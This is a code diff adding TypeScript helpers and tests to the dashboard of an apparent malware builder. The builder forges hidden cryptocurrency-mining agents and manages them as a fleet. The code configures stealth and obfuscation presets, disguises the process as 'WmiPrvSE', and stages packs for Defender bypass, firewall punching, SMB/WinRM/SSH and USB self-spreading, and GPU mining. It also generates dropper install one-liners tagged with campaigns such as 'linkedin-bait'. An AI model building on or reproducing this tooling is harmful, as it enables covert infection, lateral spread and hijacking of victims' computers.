expect(modulePushLabel(crucible, 'group', 'Alpha Squad')).toBe('Push Crucible Ops to Alpha Squad');
|
||||
});
|
||||
|
||||
it('builds guided push label for all online', () => {
|
||||
expect(modulePushLabel(crucible, 'all', undefined, 3)).toBe('Push Crucible Ops to all online (3)');
|
||||
});
|
||||
|
||||
it('lists feature flags from manifest', () => {
|
||||
expect(moduleFeatureFlags({ name: 'spread', version: '1', features: { auto_spread: true, usb_spread: true } })).toEqual([
|
||||
'auto_spread',
|
||||
'usb_spread',
|
||||
]);
|
||||
});
|
||||
|
||||
it('detects when agent capabilities match a staged pack', () => {
|
||||
expect(
|
||||
capabilitiesMatchModule({ remote_aggressive: true } as import('../types').AgentCapabilities, crucible),
|
||||
).toBe(true);
|
||||
expect(
|
||||
capabilitiesMatchModule({ remote_aggressive: false } as import('../types').AgentCapabilities, crucible),
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it('finds pack by name', () => {
|
||||
expect(findFleetModule([], 'gpu')?.display_name).toBe('GPU Miner');
|
||||
});
|
||||
});
|
||||
109
server/web/src/help/fleetModules.ts
Normal file
109
server/web/src/help/fleetModules.ts
Normal file
@@ -0,0 +1,109 @@
|
||||
import type { AgentCapabilities, FleetModuleManifest } from '../types';
|
||||
|
||||
/** Built-in fallbacks when the server list is empty or a pack lacks UI metadata. */
|
||||
export const FLEET_MODULE_FALLBACKS: FleetModuleManifest[] = [
|
||||
{
|
||||
name: 'crucible_ops',
|
||||
version: '1',
|
||||
display_name: 'Crucible Ops',
|
||||
summary: 'Dashboard remote aggressive ops — tunnels, scans, firewall, defender',
|
||||
description:
|
||||
'Stages remote aggressive command gates on thin agents without re-forge. Enables Crucible dashboard buttons: cloudflared/SSH tunnels, subnet scan, SMB shares, firewall punch, defender bypass, and on-demand spread_now.',
|
||||
accent: 'magenta',
|
||||
capabilities: [
|
||||
'Remote tunnels (cloudflared, SSH forward)',
|
||||
'Subnet scan & SMB share enumeration',
|
||||
'Firewall punch / disable / profile control',
|
||||
'Defender RTP bypass (Windows)',
|
||||
'On-demand spread_now trigger',
|
||||
'Credential vault & secure wipe',
|
||||
],
|
||||
features: { remote_aggressive: true },
|
||||
},
|
||||
{
|
||||
name: 'spread',
|
||||
version: '1',
|
||||
display_name: 'Spread Pack',
|
||||
summary: 'Lateral and passive spread — SMB auto-spread plus USB/WMI hooks',
|
||||
description:
|
||||
'Enables spread flags on a minimal forge. Agents gain auto_spread for scheduled lateral movement and usb_spread for removable-media propagation. Complements baked forge modes — does not replace Emberwake or Spread Kit presets.',
|
||||
accent: 'cyan',
|
||||
capabilities: [
|
||||
'SMB / WinRM auto-spread scheduler',
|
||||
'SSH lateral spread (Linux/macOS)',
|
||||
'USB removable-media propagation',
|
||||
'WMI-based passive hooks (Windows)',
|
||||
'Spread status & funnel telemetry',
|
||||
],
|
||||
features: { auto_spread: true, usb_spread: true },
|
||||
},
|
||||
{
|
||||
name: 'gpu',
|
||||
version: '1',
|
||||
display_name: 'GPU Miner',
|
||||
summary: 'KawPoW RVN GPU mining when hardware and wallet are present',
|
||||
description:
|
||||
'Turns on gpu_enabled at runtime so agents with an RVN wallet and supported GPU start T-Rex/TRM alongside the CPU miner. No binary re-forge — the worker downloads the pack, verifies HMAC, and spins up the GPU miner in memory.',
|
||||
accent: 'gold',
|
||||
capabilities: [
|
||||
'KawPoW RVN miner (T-Rex / TRM)',
|
||||
'GPU hashrate telemetry on dashboard',
|
||||
'Pause/resume with fleet policy',
|
||||
'Windows NVIDIA/AMD when drivers present',
|
||||
],
|
||||
features: { gpu_enabled: true },
|
||||
},
|
||||
];
|
||||
|
||||
export function resolveFleetModules(modules: FleetModuleManifest[]): FleetModuleManifest[] {
|
||||
if (modules.length > 0) return modules;
|
||||
return FLEET_MODULE_FALLBACKS;
|
||||
}
|
||||
|
||||
export function findFleetModule(
|
||||
modules: FleetModuleManifest[],
|
||||
name: string,
|
||||
): FleetModuleManifest | undefined {
|
||||
const list = resolveFleetModules(modules);
|
||||
return list.find((m) => m.name === name);
|
||||
}
|
||||
|
||||
export function moduleDisplayName(mod: FleetModuleManifest): string {
|
||||
return mod.display_name?.trim() || mod.name;
|
||||
}
|
||||
|
||||
/** Human label for the primary push button, e.g. "Push Crucible Ops to Group Alpha". */
|
||||
export function modulePushLabel(
|
||||
mod: FleetModuleManifest,
|
||||
targetMode: 'all' | 'group',
|
||||
groupName?: string,
|
||||
onlineCount?: number,
|
||||
): string {
|
||||
const pack = moduleDisplayName(mod);
|
||||
if (targetMode === 'group' && groupName) {
|
||||
return `Push ${pack} to ${groupName}`;
|
||||
}
|
||||
const n = onlineCount ?? 0;
|
||||
return `Push ${pack} to all online (${n})`;
|
||||
}
|
||||
|
||||
/** Feature flags the agent applies from a pack manifest. */
|
||||
export function moduleFeatureFlags(mod: FleetModuleManifest): string[] {
|
||||
if (!mod.features) return [];
|
||||
return Object.entries(mod.features)
|
||||
.filter(([, v]) => v === true)
|
||||
.map(([k]) => k)
|
||||
.sort();
|
||||
}
|
||||
|
||||
/** Returns true when agent capabilities reflect at least one flag from the pack. */
|
||||
export function capabilitiesMatchModule(
|
||||
caps: AgentCapabilities | undefined,
|
||||
mod: FleetModuleManifest,
|
||||
): boolean {
|
||||
if (!caps || !mod.features) return false;
|
||||
return Object.entries(mod.features).some(([key, want]) => {
|
||||
if (want !== true) return false;
|
||||
return Boolean((caps as unknown as Record<string, boolean | undefined>)[key]);
|
||||
});
|
||||
}
|
||||
139
server/web/src/help/forgeMission.test.ts
Normal file
139
server/web/src/help/forgeMission.test.ts
Normal file
@@ -0,0 +1,139 @@
|
||||
import { describe, it, expect, vi } from 'vitest';
|
||||
import type { BuildRequest, BuildResponse } from '../types';
|
||||
import {
|
||||
applyMissionPresets,
|
||||
buildMissionLinks,
|
||||
copyMissionLinks,
|
||||
missionStepStatus,
|
||||
runForgeMission,
|
||||
type MissionApi,
|
||||
} from './forgeMission';
|
||||
|
||||
const baseForm = (): BuildRequest =>
|
||||
({
|
||||
server_url: 'http://192.168.1.50:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
worker_name: 'mission-worker',
|
||||
threads: 2,
|
||||
target_os: 'windows',
|
||||
target_arch: 'amd64',
|
||||
stealth_mode: false,
|
||||
spread_kit: false,
|
||||
fusion_enabled: false,
|
||||
}) as BuildRequest;
|
||||
|
||||
const okBuild = (overrides: Partial<BuildResponse> = {}): BuildResponse => ({
|
||||
success: true,
|
||||
build_id: 'build-abc-123',
|
||||
file_name: 'worker.exe',
|
||||
file_size: 1024,
|
||||
download_url: '/api/v1/builds/build-abc-123/download',
|
||||
...overrides,
|
||||
});
|
||||
|
||||
describe('forgeMission helpers', () => {
|
||||
it('applies operation mode then spread profile', () => {
|
||||
const next = applyMissionPresets(baseForm(), 'ghost_walk', 'lan_kindling');
|
||||
expect(next.stealth_mode).toBe(true);
|
||||
expect(next.spread_kit).toBe(true);
|
||||
expect(next.auto_spread).toBe(true);
|
||||
expect(next.target_os).toBe('universal');
|
||||
});
|
||||
|
||||
it('builds dropper links with pin and campaign', () => {
|
||||
const links = buildMissionLinks('http://10.0.0.5:8989/', 'pin-1', 'wave-a');
|
||||
expect(links.ps1).toContain("install.ps1?pin=pin-1&c=wave-a");
|
||||
expect(links.sh).toContain('install.sh?pin=pin-1&c=wave-a');
|
||||
expect(links.get).toBe('http://10.0.0.5:8989/get?pin=pin-1&c=wave-a');
|
||||
expect(links.clipboardText).toContain(links.ps1);
|
||||
expect(links.clipboardText).toContain(links.sh);
|
||||
expect(links.clipboardText).toContain(links.get);
|
||||
});
|
||||
|
||||
it('tracks mission step status including skipped export', () => {
|
||||
expect(missionStepStatus('configure', 'forge', false)).toBe('done');
|
||||
expect(missionStepStatus('forge', 'forge', false)).toBe('active');
|
||||
expect(missionStepStatus('export', 'copy', true)).toBe('skipped');
|
||||
expect(missionStepStatus('copy', 'done', false)).toBe('done');
|
||||
});
|
||||
|
||||
it('runForgeMission configures, builds, exports spread kit, and returns links', async () => {
|
||||
const buildAgent = vi.fn().mockResolvedValue(okBuild());
|
||||
const exportSpreadKit = vi.fn().mockResolvedValue(undefined);
|
||||
const api: MissionApi = { buildAgent, exportSpreadKit };
|
||||
const steps: string[] = [];
|
||||
|
||||
const result = await runForgeMission({
|
||||
form: baseForm(),
|
||||
operationMode: 'wildfire',
|
||||
spreadProfile: 'lan_kindling',
|
||||
campaign: 'linkedin-bait',
|
||||
serverBase: 'http://192.168.1.50:8989',
|
||||
api,
|
||||
onStep: (s) => steps.push(s),
|
||||
cancelToken: 'tok-1',
|
||||
});
|
||||
|
||||
expect(steps).toEqual(['configure', 'forge', 'export', 'copy', 'done']);
|
||||
expect(buildAgent).toHaveBeenCalledOnce();
|
||||
expect(buildAgent.mock.calls[0][0].spread_kit).toBe(true);
|
||||
expect(buildAgent.mock.calls[0][0].cancel_token).toBe('tok-1');
|
||||
expect(exportSpreadKit).toHaveBeenCalledWith({
|
||||
build_id: 'build-abc-123',
|
||||
server_url: 'http://192.168.1.50:8989',
|
||||
campaign: 'linkedin-bait',
|
||||
});
|
||||
expect(result.exportSkipped).toBe(false);
|
||||
expect(result.links.ps1).toContain('build-abc-123');
|
||||
});
|
||||
|
||||
it('skips export when spread_kit is false after presets', async () => {
|
||||
const buildAgent = vi.fn().mockResolvedValue(okBuild());
|
||||
const exportSpreadKit = vi.fn();
|
||||
const steps: string[] = [];
|
||||
|
||||
const result = await runForgeMission({
|
||||
form: baseForm(),
|
||||
operationMode: 'open_flame',
|
||||
spreadProfile: '',
|
||||
campaign: '',
|
||||
serverBase: 'http://host:8989',
|
||||
api: { buildAgent, exportSpreadKit },
|
||||
onStep: (s) => steps.push(s),
|
||||
});
|
||||
|
||||
expect(exportSpreadKit).not.toHaveBeenCalled();
|
||||
expect(steps).toEqual(['configure', 'forge', 'copy', 'done']);
|
||||
expect(result.exportSkipped).toBe(true);
|
||||
});
|
||||
|
||||
it('throws on failed build without exporting', async () => {
|
||||
const buildAgent = vi.fn().mockResolvedValue({
|
||||
success: false,
|
||||
error: 'garble OOM',
|
||||
} satisfies BuildResponse);
|
||||
const exportSpreadKit = vi.fn();
|
||||
|
||||
await expect(
|
||||
runForgeMission({
|
||||
form: baseForm(),
|
||||
operationMode: 'ghost_walk',
|
||||
spreadProfile: 'lan_kindling',
|
||||
campaign: 'x',
|
||||
serverBase: 'http://host',
|
||||
api: { buildAgent, exportSpreadKit },
|
||||
}),
|
||||
).rejects.toThrow('garble OOM');
|
||||
|
||||
expect(exportSpreadKit).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('copyMissionLinks writes combined text', async () => {
|
||||
const writeText = vi.fn().mockResolvedValue(undefined);
|
||||
vi.stubGlobal('navigator', { clipboard: { writeText } });
|
||||
|
||||
const links = buildMissionLinks('http://h', 'b1', 'c1');
|
||||
await copyMissionLinks(links);
|
||||
expect(writeText).toHaveBeenCalledWith(links.clipboardText);
|
||||
});
|
||||
});
|
||||
155
server/web/src/help/forgeMission.ts
Normal file
155
server/web/src/help/forgeMission.ts
Normal file
@@ -0,0 +1,155 @@
|
||||
import type { BuildRequest, BuildResponse } from '../types';
|
||||
import { normalizeForgeForm } from './forgeFormNormalize';
|
||||
import { applyOperationMode, type OperationModeId } from './forgeOperationModes';
|
||||
import { applySpreadProfile, type SpreadProfileId } from './spreadProfiles';
|
||||
import {
|
||||
combinedDropperQuery,
|
||||
getUrl,
|
||||
ps1Oneliner,
|
||||
shOneliner,
|
||||
} from './emberwake';
|
||||
|
||||
export const MISSION_STEPS = ['configure', 'forge', 'export', 'copy'] as const;
|
||||
export type MissionStep = (typeof MISSION_STEPS)[number] | 'done' | 'error';
|
||||
|
||||
export const MISSION_STEP_LABELS: Record<(typeof MISSION_STEPS)[number], string> = {
|
||||
configure: 'Configure',
|
||||
forge: 'Forge',
|
||||
export: 'Export',
|
||||
copy: 'Copy',
|
||||
};
|
||||
|
||||
export interface MissionLinks {
|
||||
ps1: string;
|
||||
sh: string;
|
||||
get: string;
|
||||
clipboardText: string;
|
||||
}
|
||||
|
||||
export interface MissionResult {
|
||||
build: BuildResponse;
|
||||
links: MissionLinks;
|
||||
exportSkipped: boolean;
|
||||
}
|
||||
|
||||
export interface MissionApi {
|
||||
buildAgent: (req: BuildRequest, prepFile?: File | null) => Promise<BuildResponse>;
|
||||
exportSpreadKit: (req: { build_id: string; server_url: string; campaign: string }) => Promise<void>;
|
||||
}
|
||||
|
||||
export function applyMissionPresets(
|
||||
form: BuildRequest,
|
||||
operationMode: OperationModeId,
|
||||
spreadProfile: SpreadProfileId | '',
|
||||
): BuildRequest {
|
||||
let next = applyOperationMode(form, operationMode);
|
||||
if (spreadProfile) {
|
||||
next = applySpreadProfile(next, spreadProfile);
|
||||
}
|
||||
return normalizeForgeForm(next);
|
||||
}
|
||||
|
||||
export function buildMissionLinks(
|
||||
serverBase: string,
|
||||
buildId: string,
|
||||
campaign: string,
|
||||
): MissionLinks {
|
||||
const query = combinedDropperQuery(buildId, campaign);
|
||||
const ps1 = ps1Oneliner(serverBase, query);
|
||||
const sh = shOneliner(serverBase, query);
|
||||
const get = getUrl(serverBase, query);
|
||||
const clipboardText = [ps1, sh, get].join('\n\n');
|
||||
return { ps1, sh, get, clipboardText };
|
||||
}
|
||||
|
||||
export function missionStepIndex(step: MissionStep): number {
|
||||
if (step === 'done' || step === 'error') return MISSION_STEPS.length;
|
||||
const idx = MISSION_STEPS.indexOf(step as (typeof MISSION_STEPS)[number]);
|
||||
return idx < 0 ? -1 : idx;
|
||||
}
|
||||
|
||||
export function missionStepStatus(
|
||||
step: (typeof MISSION_STEPS)[number],
|
||||
current: MissionStep,
|
||||
exportSkipped: boolean,
|
||||
): 'pending' | 'active' | 'done' | 'skipped' | 'error' {
|
||||
if (current === 'error') {
|
||||
const idx = MISSION_STEPS.indexOf(step);
|
||||
const curIdx = missionStepIndex(current);
|
||||
if (idx < curIdx) return 'done';
|
||||
if (idx === curIdx) return 'error';
|
||||
return 'pending';
|
||||
}
|
||||
if (step === 'export' && exportSkipped) return 'skipped';
|
||||
const idx = MISSION_STEPS.indexOf(step);
|
||||
const curIdx = missionStepIndex(current);
|
||||
if (curIdx < 0) return 'pending';
|
||||
if (idx < curIdx) return 'done';
|
||||
if (idx === curIdx) return 'active';
|
||||
return 'pending';
|
||||
}
|
||||
|
||||
export async function copyMissionLinks(links: MissionLinks): Promise<void> {
|
||||
if (typeof navigator !== 'undefined' && navigator.clipboard?.writeText) {
|
||||
await navigator.clipboard.writeText(links.clipboardText);
|
||||
return;
|
||||
}
|
||||
throw new Error('Clipboard unavailable');
|
||||
}
|
||||
|
||||
export async function runForgeMission(opts: {
|
||||
form: BuildRequest;
|
||||
operationMode: OperationModeId;
|
||||
spreadProfile: SpreadProfileId | '';
|
||||
campaign: string;
|
||||
serverBase: string;
|
||||
fusionPrepFile?: File | null;
|
||||
api: MissionApi;
|
||||
onStep?: (step: MissionStep) => void;
|
||||
cancelToken?: string;
|
||||
}): Promise<MissionResult> {
|
||||
const {
|
||||
form,
|
||||
operationMode,
|
||||
spreadProfile,
|
||||
campaign,
|
||||
serverBase,
|
||||
fusionPrepFile,
|
||||
api,
|
||||
onStep,
|
||||
cancelToken,
|
||||
} = opts;
|
||||
|
||||
onStep?.('configure');
|
||||
const configured = applyMissionPresets(form, operationMode, spreadProfile);
|
||||
|
||||
onStep?.('forge');
|
||||
const build = await api.buildAgent(
|
||||
{ ...configured, cancel_token: cancelToken },
|
||||
fusionPrepFile,
|
||||
);
|
||||
if (!build.success) {
|
||||
throw new Error(build.error || 'Build failed');
|
||||
}
|
||||
|
||||
const buildId = build.build_id?.trim();
|
||||
if (!buildId) {
|
||||
throw new Error('Build succeeded but no build_id returned');
|
||||
}
|
||||
|
||||
const exportSkipped = !configured.spread_kit;
|
||||
if (!exportSkipped) {
|
||||
onStep?.('export');
|
||||
await api.exportSpreadKit({
|
||||
build_id: buildId,
|
||||
server_url: serverBase,
|
||||
campaign,
|
||||
});
|
||||
}
|
||||
|
||||
onStep?.('copy');
|
||||
const links = buildMissionLinks(serverBase, buildId, campaign);
|
||||
|
||||
onStep?.('done');
|
||||
return { build, links, exportSkipped };
|
||||
}
|
||||
57
server/web/src/help/forgeMissionWizard.test.ts
Normal file
57
server/web/src/help/forgeMissionWizard.test.ts
Normal file
@@ -0,0 +1,57 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import {
|
||||
MISSION_WIZARD_STEPS,
|
||||
MISSION_OPERATION_CHIPS,
|
||||
canAdvanceWizardStep,
|
||||
missionChipForMode,
|
||||
nextWizardStep,
|
||||
operationModeForChip,
|
||||
prevWizardStep,
|
||||
wizardPillStatus,
|
||||
wizardStepIndex,
|
||||
} from './forgeMissionWizard';
|
||||
|
||||
describe('forgeMissionWizard', () => {
|
||||
it('defines three ritual wizard steps', () => {
|
||||
expect(MISSION_WIZARD_STEPS).toEqual(['mode', 'profile', 'launch']);
|
||||
expect(MISSION_OPERATION_CHIPS.map((c) => c.label)).toEqual(['Ghost', 'Loud', 'Spread']);
|
||||
});
|
||||
|
||||
it('maps operation chips to forge modes', () => {
|
||||
expect(operationModeForChip('ghost')).toBe('ghost_walk');
|
||||
expect(operationModeForChip('loud')).toBe('open_flame');
|
||||
expect(operationModeForChip('spread')).toBe('wildfire');
|
||||
});
|
||||
|
||||
it('reverse-maps operation modes to wizard chips', () => {
|
||||
expect(missionChipForMode('ghost_walk')).toBe('ghost');
|
||||
expect(missionChipForMode('sigil_mask')).toBe('ghost');
|
||||
expect(missionChipForMode('open_flame')).toBe('loud');
|
||||
expect(missionChipForMode('wildfire')).toBe('spread');
|
||||
expect(missionChipForMode('crucible_storm')).toBe('spread');
|
||||
});
|
||||
|
||||
it('navigates wizard steps forward and back', () => {
|
||||
expect(nextWizardStep('mode')).toBe('profile');
|
||||
expect(nextWizardStep('profile')).toBe('launch');
|
||||
expect(nextWizardStep('launch')).toBeNull();
|
||||
expect(prevWizardStep('launch')).toBe('profile');
|
||||
expect(prevWizardStep('profile')).toBe('mode');
|
||||
expect(prevWizardStep('mode')).toBeNull();
|
||||
});
|
||||
|
||||
it('allows advancing from mode and profile steps', () => {
|
||||
expect(canAdvanceWizardStep('mode', 'ghost', '')).toBe(true);
|
||||
expect(canAdvanceWizardStep('profile', 'spread', '')).toBe(true);
|
||||
expect(canAdvanceWizardStep('profile', 'spread', 'lan_kindling')).toBe(true);
|
||||
expect(canAdvanceWizardStep('launch', 'ghost', '')).toBe(false);
|
||||
});
|
||||
|
||||
it('tracks wizard pill status for step pills', () => {
|
||||
expect(wizardPillStatus('mode', 'mode')).toBe('active');
|
||||
expect(wizardPillStatus('mode', 'profile')).toBe('done');
|
||||
expect(wizardPillStatus('profile', 'mode')).toBe('pending');
|
||||
expect(wizardPillStatus('launch', 'launch')).toBe('active');
|
||||
expect(wizardStepIndex('launch')).toBe(2);
|
||||
});
|
||||
});
|
||||
92
server/web/src/help/forgeMissionWizard.ts
Normal file
92
server/web/src/help/forgeMissionWizard.ts
Normal file
@@ -0,0 +1,92 @@
|
||||
import type { OperationModeId } from './forgeOperationModes';
|
||||
import type { SpreadProfileId } from './spreadProfiles';
|
||||
|
||||
export const MISSION_WIZARD_STEPS = ['mode', 'profile', 'launch'] as const;
|
||||
export type MissionWizardStep = (typeof MISSION_WIZARD_STEPS)[number];
|
||||
|
||||
export const MISSION_WIZARD_STEP_LABELS: Record<MissionWizardStep, string> = {
|
||||
mode: 'Mode',
|
||||
profile: 'Profile',
|
||||
launch: 'Launch',
|
||||
};
|
||||
|
||||
export type MissionOperationChip = 'ghost' | 'loud' | 'spread';
|
||||
|
||||
export interface MissionOperationChipDef {
|
||||
id: MissionOperationChip;
|
||||
label: string;
|
||||
color: string;
|
||||
modeId: OperationModeId;
|
||||
blurb: string;
|
||||
}
|
||||
|
||||
export const MISSION_OPERATION_CHIPS: MissionOperationChipDef[] = [
|
||||
{
|
||||
id: 'ghost',
|
||||
label: 'Ghost',
|
||||
color: '#6b8cff',
|
||||
modeId: 'ghost_walk',
|
||||
blurb: 'Stealth on, hidden display, garble — minimal LAN footprint',
|
||||
},
|
||||
{
|
||||
id: 'loud',
|
||||
label: 'Loud',
|
||||
color: '#ff5c5c',
|
||||
modeId: 'open_flame',
|
||||
blurb: 'Visible console, logging on — lab testing and debugging',
|
||||
},
|
||||
{
|
||||
id: 'spread',
|
||||
label: 'Spread',
|
||||
color: '#ff8c3a',
|
||||
modeId: 'wildfire',
|
||||
blurb: 'Universal spread kit + LAN/USB autospread — seed the fleet',
|
||||
},
|
||||
];
|
||||
|
||||
export function operationModeForChip(chip: MissionOperationChip): OperationModeId {
|
||||
return MISSION_OPERATION_CHIPS.find((c) => c.id === chip)?.modeId ?? 'ghost_walk';
|
||||
}
|
||||
|
||||
export function missionChipForMode(mode: OperationModeId): MissionOperationChip {
|
||||
if (mode === 'open_flame') return 'loud';
|
||||
if (mode === 'wildfire' || mode === 'crucible_storm') return 'spread';
|
||||
return 'ghost';
|
||||
}
|
||||
|
||||
export function wizardStepIndex(step: MissionWizardStep): number {
|
||||
return MISSION_WIZARD_STEPS.indexOf(step);
|
||||
}
|
||||
|
||||
export function nextWizardStep(step: MissionWizardStep): MissionWizardStep | null {
|
||||
const idx = wizardStepIndex(step);
|
||||
if (idx < 0 || idx >= MISSION_WIZARD_STEPS.length - 1) return null;
|
||||
return MISSION_WIZARD_STEPS[idx + 1];
|
||||
}
|
||||
|
||||
export function prevWizardStep(step: MissionWizardStep): MissionWizardStep | null {
|
||||
const idx = wizardStepIndex(step);
|
||||
if (idx <= 0) return null;
|
||||
return MISSION_WIZARD_STEPS[idx - 1];
|
||||
}
|
||||
|
||||
export function canAdvanceWizardStep(
|
||||
step: MissionWizardStep,
|
||||
chip: MissionOperationChip,
|
||||
_spreadProfile: SpreadProfileId | '',
|
||||
): boolean {
|
||||
if (step === 'mode') return !!chip;
|
||||
if (step === 'profile') return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
export function wizardPillStatus(
|
||||
pill: MissionWizardStep,
|
||||
current: MissionWizardStep,
|
||||
): 'pending' | 'active' | 'done' {
|
||||
const pillIdx = wizardStepIndex(pill);
|
||||
const curIdx = wizardStepIndex(current);
|
||||
if (pillIdx < curIdx) return 'done';
|
||||
if (pillIdx === curIdx) return 'active';
|
||||
return 'pending';
|
||||
}
|
||||
113
server/web/src/help/forgeOperationModes.test.ts
Normal file
113
server/web/src/help/forgeOperationModes.test.ts
Normal file
@@ -0,0 +1,113 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import {
|
||||
OPERATION_MODES,
|
||||
DEFAULT_OPERATION_MODE,
|
||||
applyOperationMode,
|
||||
isOperationModeId,
|
||||
resolveForgeSkin,
|
||||
skinForOperationMode,
|
||||
} from './forgeOperationModes';
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
const baseForm = (): BuildRequest =>
|
||||
({
|
||||
server_url: 'http://192.168.1.1:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
worker_name: 'test',
|
||||
threads: 2,
|
||||
target_os: 'windows',
|
||||
target_arch: 'amd64',
|
||||
stealth_mode: false,
|
||||
display_mode: 'visible',
|
||||
file_logging: true,
|
||||
obfuscate: false,
|
||||
}) as BuildRequest;
|
||||
|
||||
describe('forgeOperationModes', () => {
|
||||
it('exposes six colored aether-themed presets', () => {
|
||||
expect(OPERATION_MODES).toHaveLength(6);
|
||||
expect(OPERATION_MODES.map((m) => m.label)).toEqual([
|
||||
'Ghost Walk',
|
||||
'Open Flame',
|
||||
'Sigil Mask',
|
||||
'Hearth Whisper',
|
||||
'Wildfire',
|
||||
'Crucible Storm',
|
||||
]);
|
||||
OPERATION_MODES.forEach((m) => expect(m.color).toMatch(/^#/));
|
||||
expect(DEFAULT_OPERATION_MODE).toBe('ghost_walk');
|
||||
});
|
||||
|
||||
it('maps each operation mode to a forge skin', () => {
|
||||
expect(OPERATION_MODES.map((m) => m.skin)).toEqual([
|
||||
'ghost',
|
||||
'aether',
|
||||
'halloween',
|
||||
'aether',
|
||||
'wildfire',
|
||||
'crucible',
|
||||
]);
|
||||
expect(skinForOperationMode('wildfire')).toBe('wildfire');
|
||||
expect(skinForOperationMode('sigil_mask')).toBe('halloween');
|
||||
});
|
||||
|
||||
it('resolves skin from operation mode unless theme override is set', () => {
|
||||
expect(resolveForgeSkin('ghost_walk', 'auto')).toBe('ghost');
|
||||
expect(resolveForgeSkin('wildfire', 'auto')).toBe('wildfire');
|
||||
expect(resolveForgeSkin('ghost_walk', 'halloween')).toBe('halloween');
|
||||
expect(resolveForgeSkin('crucible_storm', 'ghost')).toBe('ghost');
|
||||
});
|
||||
|
||||
it('validates stored mode ids', () => {
|
||||
expect(isOperationModeId('ghost_walk')).toBe(true);
|
||||
expect(isOperationModeId('bogus')).toBe(false);
|
||||
});
|
||||
|
||||
it('applies Ghost Walk stealth + garble defaults', () => {
|
||||
const next = applyOperationMode(baseForm(), 'ghost_walk');
|
||||
expect(next.stealth_mode).toBe(true);
|
||||
expect(next.display_mode).toBe('background');
|
||||
expect(next.file_logging).toBe(false);
|
||||
expect(next.obfuscate).toBe(true);
|
||||
expect(next.fusion_enabled).toBe(false);
|
||||
});
|
||||
|
||||
it('applies Open Flame visible testing profile', () => {
|
||||
const next = applyOperationMode(baseForm(), 'open_flame');
|
||||
expect(next.stealth_mode).toBe(false);
|
||||
expect(next.display_mode).toBe('visible');
|
||||
expect(next.file_logging).toBe(true);
|
||||
expect(next.obfuscate).toBe(false);
|
||||
});
|
||||
|
||||
it('applies Sigil Mask obfuscation + disguised process', () => {
|
||||
const next = applyOperationMode(baseForm(), 'sigil_mask');
|
||||
expect(next.obfuscate).toBe(true);
|
||||
expect(next.sigil_scramble).toBe(true);
|
||||
expect(next.process_name).toBe('WmiPrvSE');
|
||||
expect(next.fusion_enabled).toBe(false);
|
||||
});
|
||||
|
||||
it('applies Hearth Whisper idle low-footprint caps', () => {
|
||||
const next = applyOperationMode(baseForm(), 'hearth_whisper');
|
||||
expect(next.mining_mode).toBe('idle');
|
||||
expect(next.max_cpu_usage_pct).toBe(45);
|
||||
expect(next.thread_percent).toBe(50);
|
||||
expect(next.stealth_mode).toBe(true);
|
||||
});
|
||||
|
||||
it('applies Wildfire spread-ready flags', () => {
|
||||
const next = applyOperationMode(baseForm(), 'wildfire');
|
||||
expect(next.spread_kit).toBe(true);
|
||||
expect(next.auto_spread).toBe(true);
|
||||
expect(next.usb_spread).toBe(true);
|
||||
expect(next.target_os).toBe('universal');
|
||||
});
|
||||
|
||||
it('applies Crucible Storm aggressive remote ops', () => {
|
||||
const next = applyOperationMode(baseForm(), 'crucible_storm');
|
||||
expect(next.remote_aggressive).toBe(true);
|
||||
expect(next.hole_punch).toBe(true);
|
||||
expect(next.mesh_p2p).toBe(true);
|
||||
});
|
||||
});
|
||||
217
server/web/src/help/forgeOperationModes.ts
Normal file
217
server/web/src/help/forgeOperationModes.ts
Normal file
@@ -0,0 +1,217 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
import { normalizeForgeForm } from './forgeFormNormalize';
|
||||
|
||||
export type OperationModeId =
|
||||
| 'ghost_walk'
|
||||
| 'open_flame'
|
||||
| 'sigil_mask'
|
||||
| 'hearth_whisper'
|
||||
| 'wildfire'
|
||||
| 'crucible_storm';
|
||||
|
||||
/** Seasonal / operation forge UI skins (CSS class suffix). */
|
||||
export type ForgeSkinId = 'aether' | 'halloween' | 'ghost' | 'wildfire' | 'crucible';
|
||||
|
||||
export type ForgeThemeOverride = ForgeSkinId | 'auto';
|
||||
|
||||
export interface OperationMode {
|
||||
id: OperationModeId;
|
||||
label: string;
|
||||
color: string;
|
||||
skin: ForgeSkinId;
|
||||
blurb: string;
|
||||
apply: (form: BuildRequest) => BuildRequest;
|
||||
}
|
||||
|
||||
export const OPERATION_MODE_STORAGE_KEY = 'aetherforge-operation-mode';
|
||||
export const FORGE_THEME_STORAGE_KEY = 'aetherforge-forge-theme';
|
||||
export const FORGE_THEME_EVENT = 'aetherforge-forge-theme';
|
||||
|
||||
export const DEFAULT_OPERATION_MODE: OperationModeId = 'ghost_walk';
|
||||
|
||||
export const FORGE_SKIN_IDS: ForgeSkinId[] = ['aether', 'halloween', 'ghost', 'wildfire', 'crucible'];
|
||||
|
||||
export function isForgeSkinId(value: string): value is ForgeSkinId {
|
||||
return FORGE_SKIN_IDS.includes(value as ForgeSkinId);
|
||||
}
|
||||
|
||||
export function forgeSkinClassName(skin: ForgeSkinId): string {
|
||||
return `forge-skin--${skin}`;
|
||||
}
|
||||
|
||||
export function skinForOperationMode(id: OperationModeId): ForgeSkinId {
|
||||
const mode = OPERATION_MODES.find((m) => m.id === id);
|
||||
return mode?.skin ?? 'aether';
|
||||
}
|
||||
|
||||
export const OPERATION_MODES: OperationMode[] = [
|
||||
{
|
||||
id: 'ghost_walk',
|
||||
label: 'Ghost Walk',
|
||||
color: '#4d7fff',
|
||||
skin: 'ghost',
|
||||
blurb: 'Stealth on, hidden display, garble on, no file logs — minimal LAN footprint',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
stealth_mode: true,
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
obfuscate: true,
|
||||
sigil_scramble: true,
|
||||
fusion_enabled: false,
|
||||
spread_kit: false,
|
||||
remote_aggressive: false,
|
||||
auto_spread: false,
|
||||
usb_spread: false,
|
||||
share_spread: false,
|
||||
hole_punch: false,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'open_flame',
|
||||
label: 'Open Flame',
|
||||
color: '#ff5c5c',
|
||||
skin: 'aether',
|
||||
